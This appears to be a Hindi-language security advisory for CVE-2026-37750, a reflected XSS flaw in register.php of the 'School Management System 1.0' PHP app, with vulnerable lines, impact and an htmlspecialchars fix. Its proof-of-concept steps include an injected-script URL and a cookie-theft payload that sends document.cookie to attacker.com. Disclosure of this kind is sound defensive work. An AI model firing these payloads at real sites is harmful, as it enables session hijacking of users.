विवरण

mahmoudai1 द्वारा स्कूल प्रबंधन प्रणाली 1.0 में एक रिफ्लेक्टेड क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता, बिना प्रमाणीकरण के दूरस्थ हमलावरों को register.php में अस्वच्छित type पैरामीटर के माध्यम से पीड़ितों के ब्राउज़र में मनमाना JavaScript निष्पादित करने की अनुमति देती है। पैरामीटर पंक्ति 22 पर h1 टैग के अंदर और पंक्ति 26 पर form action विशेषता के अंदर बिना एस्केपिंग के प्रतिबिंबित होता है। इस भेद्यता का शोषण करने के लिए किसी प्रमाणीकरण की आवश्यकता नहीं है।

CVE ID: CVE-2026-37750 CWE: CWE-79 CVSSv3: 6.1 मध्यम (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

उत्पाद विवरण

स्कूल प्रबंधन प्रणाली 1.0 GitHub पर mahmoudai1 द्वारा एक PHP/MySQL वेब एप्लिकेशन है जिसका उपयोग स्कूलों में छात्रों, शिक्षकों और अभिभावकों के प्रबंधन के लिए किया जाता है।

विक्रेता URL: https://github.com/mahmoudai1/school-management-system

भेद्य फ़ाइल

register.php — पंजीकरण फ़ॉर्म (कोई प्रमाणीकरण आवश्यक नहीं)

भेद्य कोड

पंक्ति 22: echo ucfirst($_REQUEST['type'])

पंक्ति 26: echo $_REQUEST['type']

कोई htmlspecialchars() उपयोग नहीं किया गया — कच्चा उपयोगकर्ता इनपुट सीधे HTML में प्रतिबिंबित होता है।

प्रमाण की अवधारणा

पूर्वापेक्षाएँ:

• कोई प्रमाणीकरण आवश्यक नहीं
• लक्ष्य स्कूल प्रबंधन प्रणाली 1.0 चला रहा होना चाहिए

चरण 1 — ब्राउज़र खोलें और इस URL पर जाएँ: http://target/register.php?type=script-alert-document.cookie-/script

चरण 2 — JavaScript ब्राउज़र में निष्पादित होता है परिणाम: सत्र कुकीज़ दिखाने वाला अलर्ट बॉक्स प्रकट होता है।

चरण 3 — कुकी चोरी पेलोड: http://target/register.php?type=script-document.location-http://attacker.com/steal?c=-document.cookie-/script चरण 4 — फ़ॉर्म एक्शन इंजेक्शन पेलोड: http://target/register.php?type="-script-alert(1)-/script

दो इंजेक्शन बिंदु पुष्टि किए गए:

इंजेक्शन बिंदु 1 — h1 टैग के अंदर (पंक्ति 22):

आउटपुट:

इंजेक्शन बिंदु 2 — form action विशेषता के अंदर (पंक्ति 26):

आउटपुट:

प्रभाव

• कुकी चोरी के माध्यम से सत्र अपहरण
• फ़िशिंग — नकली लॉगिन फ़ॉर्म इंजेक्ट करना
• रीडायरेक्ट के माध्यम से मैलवेयर वितरण
• कोई प्रमाणीकरण आवश्यक नहीं

उपचार

पंक्ति 22 का समाधान: echo htmlspecialchars(ucfirst($_REQUEST['type']), ENT_QUOTES, 'UTF-8');

पंक्ति 26 का समाधान: echo htmlspecialchars($_REQUEST['type'], ENT_QUOTES, 'UTF-8');

संदर्भ

• https://github.com/mahmoudai1/school-management-system
• https://github.com/mahmoudai1/school-management-system/blob/main/register.php

खोजकर्ता

वरद एपी मेने ईमेल: [email protected] GitHub: https://github.com/menevarad007